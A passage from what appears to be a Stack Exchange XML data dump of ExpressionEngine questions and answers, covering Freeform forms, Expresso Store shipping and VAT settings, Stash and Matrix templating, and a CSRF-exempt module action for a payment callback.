twoCols&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;col&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;section&quot;&amp;gt;&#xA;                                &amp;lt;section&amp;gt;&#xA;                                &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;PROOF ALL CONTENT.&amp;lt;/strong&amp;gt; Check all of the content - text, numbers and graphics – on your project for accuracy. You are responsible for proofing all of the content, including content that was not marked for changes. Check each feature on the list below, making sure each element is correct and looks as you would like it to appear.&amp;lt;/p&amp;gt;&#xA;                                    &amp;lt;div class=&quot;field&quot;&amp;gt; &#xA;                                        &amp;lt;span class=&quot;label&quot;&amp;gt;{freeform:label:logos_and_photos} &amp;lt;/span&amp;gt;&#xA;                                        {freeform:field:logos_and_photos}&#xA;                                    &amp;lt;/div&amp;gt; &amp;lt;!-- /.field --&amp;gt;&#xA;                                    &amp;lt;div class=&quot;field&quot;&amp;gt; &#xA;                                        &amp;lt;span class=&quot;label&quot;&amp;gt;{freeform:label:yardages_and_totals} &amp;lt;/span&amp;gt;&#xA;                                        {freeform:field:yardages_and_totals}&#xA;                                    &amp;lt;/div&amp;gt; &amp;lt;!-- /.field --&amp;gt;&#xA;                                    &amp;lt;div class=&quot;field&quot;&amp;gt; &#xA;                                        &amp;lt;span class=&quot;label&quot;&amp;gt;{freeform:label:handicaps_and_pars} &amp;lt;/span&amp;gt;&#xA;                                        {freeform:field:handicaps_and_pars}&#xA;                                    &amp;lt;/div&amp;gt; &amp;lt;!-- /.field --&amp;gt;&#xA;                                    &amp;lt;div class=&quot;field&quot;&amp;gt; &#xA;                                        &amp;lt;span class=&quot;label&quot;&amp;gt;{freeform:label:rating_slopes} &amp;lt;/span&amp;gt;&#xA;                                        {freeform:field:rating_slopes}&#xA;                                    &amp;lt;/div&amp;gt; &amp;lt;!-- /.field --&amp;gt;&#xA;                                    &amp;lt;div class=&quot;field&quot;&amp;gt; &#xA;                                        &amp;lt;span class=&quot;label&quot;&amp;gt;{freeform:label:staff_names_and_titles} &amp;lt;/span&amp;gt;&#xA;                                        {freeform:field:staff_names_and_titles}&#xA;                                    &amp;lt;/div&amp;gt; &amp;lt;!-- /.field --&amp;gt;&#xA;                                    &amp;lt;div class=&quot;field&quot;&amp;gt; &#xA;                                        &amp;lt;span class=&quot;label&quot;&amp;gt;{freeform:label:map_graphics_including_hole_numbers} &amp;lt;/span&amp;gt;&#xA;                                        {freeform:field:map_graphics_including_hole_numbers}&#xA;                                    &amp;lt;/div&amp;gt; &amp;lt;!-- /.field --&amp;gt;&#xA;                                    &amp;lt;div class=&quot;field&quot;&amp;gt; &#xA;                                        &amp;lt;span class=&quot;label&quot;&amp;gt;{freeform:label:rules_and_regulations} &amp;lt;/span&amp;gt;&#xA;                                        {freeform:field:rules_and_regulations}&#xA;                                    &amp;lt;/div&amp;gt; &amp;lt;!-- /.field --&amp;gt;&#xA;                                    &amp;lt;div class=&quot;field&quot;&amp;gt; &#xA;                                        &amp;lt;span class=&quot;label&quot;&amp;gt;{freeform:label:contact_information_including_phone_numbers} &amp;lt;/span&amp;gt;&#xA;                                        {freeform:field:contact_information_including_phone_numbers}&#xA;                                    &amp;lt;/div&amp;gt; &amp;lt;!-- /.field --&amp;gt;&#xA;                                    &amp;lt;br&amp;gt;&#xA;                                    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;OPTIONAL COMMENTS FOR PRODUCTION.&amp;lt;/strong&amp;gt; If you have changes to make, please use the Change Form on the previous page, or contact your rep at 800.238.7267. If you have any final comments that do not involve making changes to the proof, please include them below.&amp;lt;/p&amp;gt;&#xA;                                    &amp;lt;br&amp;gt;&#xA;                                    &amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;                                        &amp;lt;span class=&quot;label&quot;&amp;gt;&amp;lt;label for=&quot;project-notes&quot;&amp;gt;Optional Comments:&amp;lt;/label&amp;gt;&amp;lt;/span&amp;gt;&#xA;                                        {freeform:field:user_message}&#xA;                                    &amp;lt;/div&amp;gt; &amp;lt;!-- /.field --&amp;gt;&#xA;                                    &amp;lt;br&amp;gt;&#xA;                                    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;3. CLICK ON THE SUBMIT APPROVAL TO PRINT BOX BELOW.&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;                                    &amp;lt;div class=&quot;buttons&quot;&amp;gt;&#xA;                                        &amp;lt;input type=&quot;hidden&quot; name=&quot;client_name&quot; value=&quot;{title}&quot;&amp;gt;&#xA;                                        {client_project}&#xA;                                        &amp;lt;input type=&quot;hidden&quot; name=&quot;project_name&quot; value=&quot;{title}&quot;&amp;gt;&#xA;                                        &amp;lt;input type=&quot;hidden&quot; name=&quot;quantity&quot; value=&quot;{project_quantity}&quot;&amp;gt;&#xA;                                        &amp;lt;input type=&quot;hidden&quot; name=&quot;size&quot; value=&quot;{project_size}&quot;&amp;gt;&#xA;                                        &amp;lt;input type=&quot;hidden&quot; name=&quot;features&quot; value=&quot;{project_features}&quot;&amp;gt;&#xA;                                        {/client_project} &#xA;                                        &amp;lt;button type=&quot;submit&quot; name=&quot;submit&quot; class=&quot;button large&quot;&amp;gt;Send File&amp;lt;/button&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt; &amp;lt;!-- /.buttons --&amp;gt;&#xA;                                &amp;lt;/section&amp;gt;&#xA;                            &amp;lt;/div&amp;gt; &amp;lt;!-- /.section --&amp;gt;&#xA;                        &amp;lt;/div&amp;gt; &amp;lt;!-- /.col --&amp;gt;&#xA;                        &amp;lt;div class=&quot;col last&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;sidebar&quot;&amp;gt;&#xA;                                &amp;lt;aside&amp;gt;&#xA;                                    &amp;lt;p&amp;gt;Note: By submitting this form, you acknowledge that all of the content on this final proof is correct. Content on printed project will be the same as this proof. Golf Scorecards, Inc. is not responsible for errors on the printed piece if you have not indicated corrections using our Change Form. &amp;lt;/p&amp;gt;&#xA;                                &amp;lt;/aside&amp;gt;&#xA;                            &amp;lt;/div&amp;gt; &amp;lt;!-- /.sidebar --&amp;gt;&#xA;                        &amp;lt;/div&amp;gt; &amp;lt;!-- /.col --&amp;gt;&#xA;                    &amp;lt;/div&amp;gt; &amp;lt;!-- /.contentWrap --&amp;gt;&#xA;                &amp;lt;/section&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- /.section --&amp;gt;&#xA;            {/exp:freeform:form}  &#xA;        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help!&lt;/p&gt;&#xA;" OwnerUserId="804" LastActivityDate="2013-10-31T03:03:31.357" Title="Populate one field with Freeform Pro form" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15127" PostTypeId="1" CreationDate="2013-10-30T05:56:08.427" Score="0" ViewCount="55" Body="&lt;p&gt;I wanted to see if anyone had any suggestions on how to optimize the speed of Solspace Freeform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've noticed the template caching doesn't help as it generates random numbers in hidden tags combined with the usage of captcha there seems to be few fays to decrease page load times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would using CE Cache improve the performance?&lt;/p&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2013-10-30T08:33:54.000" Title="Decreasing page load time with Solspace Freeform" Tags="|templates|solspace-freeform|forms|cache|ce-cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15128" PostTypeId="1" AcceptedAnswerId="15129" CreationDate="2013-10-30T06:56:00.543" Score="2" ViewCount="1590" Body="&lt;p&gt;I want to get the channel field data from entry id in my custom module.&#xA;Is there any way to get the field data.&#xA;If anyone knows, please help&lt;/p&gt;&#xA;" OwnerUserId="2126" LastActivityDate="2013-10-30T07:39:15.590" Title="How to get channel field data from a given entry id?" Tags="|custom-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15129" PostTypeId="2" ParentId="15128" CreationDate="2013-10-30T07:39:15.590" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;you can open file &lt;em&gt;expressionengine/modules/channel/mod.channel.php&lt;/em&gt; and check &lt;em&gt;function entries()&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;you can use &lt;a href=&quot;https://github.com/objectivehtml/Channel-Data&quot; rel=&quot;nofollow&quot;&gt;Channel-Data&lt;/a&gt; lib from Justin Kimbrell to simplify access to  channel data.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;example&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $entries = $this-&amp;gt;EE-&amp;gt;channel_data-&amp;gt;get_channel_entries($channel_id, array(&#xA;        'select'    =&amp;gt; array('*'),&#xA;        'where'     =&amp;gt; array('channel_data.entry_id &amp;gt;' =&amp;gt; 1),&#xA;        'order_by'  =&amp;gt; 'title',&#xA;        'sort'      =&amp;gt; 'ASC',&#xA;        'limit'     =&amp;gt; 1,&#xA;        'offset'    =&amp;gt; 5&#xA;    ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-10-30T07:39:15.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15131" PostTypeId="2" ParentId="15127" CreationDate="2013-10-30T08:33:54.000" Score="1" Body="&lt;p&gt;Currently Freeform does not natively support being cached as it generates a params_id and XID hash on page load that is not reusable due to security concerns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could, in theory, cache the form, then on submit (or first field change?), use ajax to fetch an uncached version of the same form template and pull the params_id and XID from that uncached form and inject it into the cached form before submit.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-30T08:33:54.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15132" PostTypeId="1" AcceptedAnswerId="15171" CreationDate="2013-10-30T10:07:01.487" Score="1" ViewCount="159" Body="&lt;p&gt;I'm using Expresso Store, everything is working fine, except the final email generated at the end of the process has an incorrect reply to address.  When the customer replies to an email, their reply is not going to the correct client address, but an old, no longer used one.  Can anyone tell me where expresso store pulls it's email addresses from?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've put the new address in the BCC field in email settings and in Admin &gt; Email Configuration &gt; Return email address for auto-generated emails is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a related note, does anyone know where I can check the email address that the admin email is sent to?  Can't seem to find it anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2013-10-30T18:38:27.137" Title="Expresso Store, email address for auto generated emails" Tags="|expresso-store|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15133" PostTypeId="1" CreationDate="2013-10-30T10:23:12.367" Score="1" ViewCount="53" Body="&lt;p&gt;I have this issue with Shipping costs.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have 4 profiles setup&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0-£100 - £6&#xA;£100 - £500 - £12&#xA;£501 - £4000 - £20&#xA;£4001+ - £25&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue comes as we have a product that is in the £12 shipping price bracket however we only charge £6. Which we set a weight to compensate for this issue and it worked. But the issue comes when someone orders another product in £100 - £500 category. It still only charges the £6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2287" LastEditorUserId="28" LastEditDate="2013-11-05T16:52:00.567" LastActivityDate="2013-11-06T16:17:11.020" Title="Overriding price-based shipping profiles with weight in Store" Tags="|expresso-store|shipping|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15134" PostTypeId="1" AcceptedAnswerId="15172" CreationDate="2013-10-30T10:56:21.543" Score="1" ViewCount="57" Body="&lt;p&gt;For UK Value Added Tax, we need to charge 20% on goods shipped to countries in the EU, 0% on others. TO achieve that it looks like I need to add a rule for each EU country, rather than one rule for multiple countries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that correct?&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2013-10-30T18:01:46.477" Title="Setting up UK VAT for European Union countrires" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15135" PostTypeId="1" AcceptedAnswerId="15185" CreationDate="2013-10-30T11:04:04.237" Score="1" ViewCount="68" Body="&lt;p&gt;My client would like to increase prices by 20% for some countries. The reason for this is that they want to show a product at £25 inclusive of tax if it's a UK delivery, £25 with no tax if it's a USA delivery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to achieve this using Store?&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="28" LastEditDate="2013-10-30T18:36:53.427" LastActivityDate="2013-10-30T21:16:17.337" Title="Regional pricing" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15136" PostTypeId="2" ParentId="15103" CreationDate="2013-10-30T11:46:52.743" Score="1" Body="&lt;p&gt;Your error is due to your PHP version being too new for the version of EE you are using.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged. &lt;a href=&quot;https://www.php.net/mysql_escape_string&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Two options:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Lower your PHP version to 5.2&lt;/li&gt;&#xA;&lt;li&gt;Upgrade to, at least, EE 2.3&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="69" LastEditorUserId="-1" LastEditDate="2023-11-17T20:38:18.640" LastActivityDate="2013-10-30T11:55:17.833" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15137" PostTypeId="2" ParentId="5425" CreationDate="2013-10-30T12:06:33.707" Score="2" Body="&lt;p&gt;From OP in comments above:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Just wanted to follow up and take credit for a simple mistake that monopolized more time than I'll ever admit. Turns out in my zoo form I had &quot;new_row_0&quot; in one of my hidden fields where it should have been &quot;row_new_0&quot;. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-30T12:06:33.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15138" PostTypeId="2" ParentId="3690" CreationDate="2013-10-30T12:09:04.420" Score="1" Body="&lt;p&gt;From comments above from Mark Croxton:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Channel Entries can't be nested but exp:stash:set_list and exp:stash:get_list have no problem, providing you append a 4th tagpart to the nested tagpair and use the prefix parameter. As far as I can tell you need a very similar solution to this one: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1912/nesting-channel-entries-in-stash&quot;&gt;Nesting channel entries in Stash&lt;/a&gt; - but you need to output the same list twice in the markup? Can't you just use stash:get_list twice? I think you need to paste more of your template because I'm struggling to see what the real problem is here.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Example of nesting lists, from the docs: &lt;a href=&quot;https://github.com/croxton/Stash#example-usage-5-nesting-yep-you-really-can-do-this&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/croxton/Stash#example-usage-5-nesting-yep-you-really-can-do-this&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="69" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-10-30T12:09:04.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15140" PostTypeId="2" ParentId="7013" CreationDate="2013-10-30T12:27:07.080" Score="1" Body="&lt;p&gt;If you have Strict URLs turned off, then an incorrect third segment is most likely parsing the index.html template of the default template group. Unless that template has a way to verify the URL against an entry, it will parse normally everything that it can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'd work in a 404 solution for your default template. Two different options could be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3}{embed=&quot;templategroup/404&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3}{redirect=&quot;/&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-30T12:27:07.080" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15141" PostTypeId="2" ParentId="14893" CreationDate="2013-10-30T12:29:42.063" Score="1" Body="&lt;p&gt;Upgrade to the latest version of EE (2.7.2 as of this posting) and Field Pack (2.1.1).&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-30T12:29:42.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15142" PostTypeId="2" ParentId="14709" CreationDate="2013-10-30T12:34:42.180" Score="1" Body="&lt;p&gt;Check the image zoom plugin's settings to make sure it is not applying a filter. Also, check your CSS. It could be that a blurring filter effect is being applied (&lt;a href=&quot;http://www.inserthtml.com/2012/06/css-filters/&quot; rel=&quot;nofollow&quot;&gt;see here&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-30T12:34:42.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15143" PostTypeId="2" ParentId="14613" CreationDate="2013-10-30T12:38:45.153" Score="1" Body="&lt;p&gt;This was a bug that has been fixed in Assets 2.2. &lt;a href=&quot;http://docs.pixelandtonic.com/assets/changelog.html&quot; rel=&quot;nofollow&quot;&gt;See changelog&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-30T12:38:45.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15144" PostTypeId="2" ParentId="5680" CreationDate="2013-10-30T12:40:04.550" Score="0" Body="&lt;p&gt;This was a bug that has been fixed since Assets 2.2. &lt;a href=&quot;http://docs.pixelandtonic.com/assets/changelog.html&quot; rel=&quot;nofollow&quot;&gt;See changelog&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-30T12:40:04.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15145" PostTypeId="2" ParentId="8828" CreationDate="2013-10-30T12:44:34.090" Score="1" Body="&lt;p&gt;Per original question poster's comment above:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Thanks, Lisa. Ended up tracking this one down, and updated my original post. This was a firewall issue. May be something to look at for the future though, that if Assets doesn't get a valid response from S3, that some error is displayed. As always, thanks for your help!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-30T12:44:34.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15146" PostTypeId="2" ParentId="10253" CreationDate="2013-10-30T13:38:24.290" Score="2" Body="&lt;p&gt;Look for other extensions using the channel_entries_tagdata hook. It's likely that one of them is not respecting ee()-&gt;extensions-&gt;last_call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me, it was Better Workflow (they have since fixed the issue).&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-10-30T13:38:24.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15147" PostTypeId="2" ParentId="15057" CreationDate="2013-10-30T13:44:46.953" Score="1" Body="&lt;p&gt;I was having this same issue, but found out that I did not have a column for 'content_type'. Once I added this column, Matrix/Assets began working correctly.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-10-30T13:44:46.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15148" PostTypeId="2" ParentId="6763" CreationDate="2013-10-30T13:47:08.587" Score="3" Body="&lt;p&gt;You can't do this with a Matrix tag, but you could use Stash to set a list of the Matrix rows, then get the &lt;code&gt;unique&lt;/code&gt; values only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aget_list%7D#unique---yes--no-&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aget_list%7D#unique---yes--no-&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;matrix set_list&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; entry_id=&quot;123&quot;}&#xA;    {exp:stash:set_list name=&quot;blog_related_entries&quot; parse_tags=&quot;yes&quot; save=&quot;yes&quot; scope=&quot;site&quot;}&#xA;        {blog_related}&#xA;            {stash:item_title}{title}{/stash:item_title}&#xA;        {/blog_related}&#xA;    {/exp:stash:set_list}   &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;get_list with unique=&quot;yes&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;blog_related_entries&quot; unique=&quot;yes&quot;}&#xA;    {item_title}&#xA;{/exp:stash:get_list}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Granted, this doesn't really save you on performance since all of the Matrix rows are pulled any way. &lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-30T13:47:08.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15149" PostTypeId="2" ParentId="15046" CreationDate="2013-10-30T13:52:54.897" Score="1" Body="&lt;p&gt;ISSUE RESOLVED: It turns out that one of my clients employees had somehow applied a custom status to all entries, even those that existed in channels without the custom statuses applied. So the pages, news, events channels etc all returned zero results as they didn't have the matching status!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was resolved by setting all entries back to the relevant entry statuses to open.&lt;/p&gt;&#xA;" OwnerUserId="1782" LastActivityDate="2013-10-30T13:52:54.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15150" PostTypeId="2" ParentId="12243" CreationDate="2013-10-30T13:58:28.307" Score="1" Body="&lt;p&gt;What you are after is very similar to a blog archive filter. Mark Croxton has provided a very detailed example of how to pull that off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/croxton/6219973&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/croxton/6219973&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-30T13:58:28.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15151" PostTypeId="1" AcceptedAnswerId="15153" CreationDate="2013-10-30T13:59:21.347" Score="3" ViewCount="353" Body="&lt;p&gt;I am trying to integrate payment gateway with Paypal express. the issue is the payment gateway sends post data from paypal express checkout back to a specific URL in our ExpressionEngine but does not contain the parameter XID which is required by ExpressionEngine secure formS as of version 2.7.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a way to accept the incoming post from external website without disabling the settings:&#xA;$config['secure_form'] = 'n';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2289" LastActivityDate="2013-10-30T14:49:16.987" Title="XID POST from third party" Tags="|payment-gateway|paypal-express-checkout|xid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15152" PostTypeId="1" AcceptedAnswerId="15154" CreationDate="2013-10-30T14:19:15.877" Score="2" ViewCount="207" Body="&lt;p&gt;My client recently upgraded to EE2 from EE 1.7 and they lost the ability to directly get the link to non-image files (like PDFs) in the File Manager. They need this feature to insert into their email campaigns. Any idea how to get a direct link to an uploaded doc in EE2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot, need link to Breast_Examination_Trainer_Final_UK.pdf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jiugQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2013-10-30T15:05:53.317" Title="Link to non-image files in the File Manager?" Tags="|ee2|file-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15153" PostTypeId="2" ParentId="15151" CreationDate="2013-10-30T14:49:16.987" Score="6" Body="&lt;p&gt;You must create a module and a module action. There are docs &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/modules.html#install&quot;&gt;here&lt;/a&gt;. The key is to grant your action a CSRF exemption, like so: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;db-&amp;gt;insert('actions', array(&#xA;  'class' =&amp;gt; 'Module_name' ,&#xA;  'method' =&amp;gt; 'method_to_call',&#xA;  'csrf_exempt' =&amp;gt; 1,&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Look up the action_id in the exp_actions table for your newly created action. Your action can now be triggered via url without XID at &lt;a href=&quot;http://yoursite.com/?ACT=XX&quot;&gt;http://yoursite.com/?ACT=XX&lt;/a&gt;, where XX is your action_id.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-10-30T14:49:16.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15154" PostTypeId="2" ParentId="15152" CreationDate="2013-10-30T15:05:53.317" Score="2" Body="&lt;p&gt;In EE 2.7+ non-image files are linked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-7-0&quot; rel=&quot;nofollow noreferrer&quot;&gt;EE changelog&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All files regardless of type are now linked for viewing in the File Manager. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EzDQf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-30T15:05:53.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15155" PostTypeId="1" CreationDate="2013-10-30T15:27:04.430" Score="1" ViewCount="131" Body="&lt;p&gt;I cant seem to get this working on my test but does anyone know if its possible to filter a related list of entrys by author_id using the new standard relationships?  or am I better off using playa?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;fairs&quot; entry_id=&quot;{active_fair}&quot; dynamic=&quot;no&quot;}&#xA;  {parents field=&quot;application_related_fair&quot; author_id=&quot;{member_id}&quot; limit=&quot;1&quot;}&#xA;    {parents:entry_id}&#xA;  {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Im pretty sure i can do this using playa, but not sure that it works with standard relationships?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:  so i got it working when i hard code the author_id so it says something like author_id=&quot;1&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;my issue now seems to be parse order/stash related&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the full code... basically trying to set a list but within the stash member_id is coming back blank? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;    {exp:stash:set_list name=&quot;active_application&quot;  parse_tags=&quot;yes&quot; parse_vars=&quot;yes&quot; scope=&quot;user&quot;}&#xA;        {exp:channel:entries channel=&quot;fairs&quot; entry_id=&quot;{active_fair}&quot;  dynamic=&quot;no&quot;}&#xA;            {parents field=&quot;application_related_fair&quot; author_id=&quot;{member_id}&quot; limit=&quot;1&quot; status=&quot;not Closed&quot;}&#xA;                {stash:app_id}{parents:entry_id}{/stash:app_id}&#xA;                {stash:app_status}{parents:status}{/stash:app_status}&#xA;            {/parents}&#xA;        {/exp:channel:entries}&#xA;    {/exp:stash:set_list}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this full block works perfectly if i set author_id to a specific number... but if i set it to {member_id} it still outputs but its not taking the author_id filter into effect.  &lt;/p&gt;&#xA;" OwnerUserId="727" LastEditorUserId="727" LastEditDate="2013-10-30T16:29:31.320" LastActivityDate="2013-10-30T17:05:14.557" Title="Filter relationship content by author?" Tags="|relationships|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
